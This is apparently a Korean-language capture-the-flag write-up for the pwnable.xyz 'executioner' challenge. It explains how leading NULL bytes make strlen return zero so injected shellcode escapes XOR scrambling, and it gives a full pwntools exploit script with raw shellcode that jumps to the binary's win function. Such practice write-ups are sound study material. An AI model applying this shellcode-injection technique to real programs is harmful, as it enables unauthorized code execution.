pwn/pwnable.xyz

pwnable.xyz / executioner

lok2h4rd 2022. 5. 22. 23:36

mitigation
main

단순 쉘코드 문제다 strlen으로 입력한 쉘코드 길이를 구해서 랜덤 값과 xor한다
단순 2byte NULL bytes를 박으면 strlen의 반환 값이 0이 되면서 랜덤 값과 xor하지 않게 된다

대신 쉘 코드가 실행 될때 ptr byte[rax], al을 수행한다 rax는 스택값이니 코드가 정상적으로 처리될 것이다

이후에 r12에 _start주소가 있어서 win만큼 더해서 jmp r12해서 플래그가 출력되도록 했다

from pwn import *
#context.log_level = "debug"

p = remote("svc.pwnable.xyz", 30025)
#p = process("./executioner")
#gdb.attach(p)
def pow():
    p.recvuntil(b"0x")
    num = int(p.recvline(), 16)
    log.info("num: "+ hex(num))
    p.recvuntil(b"> ")
    p.send(b"0 ")
    p.sendline(str(num))


pow()

shell = b"\x00\x00\x49\x81\xc4\x9a\x01\x00\x00\x41\xff\xe4"
p.recvuntil(b"Input: ")
p.sendline(shell)

p.interactive()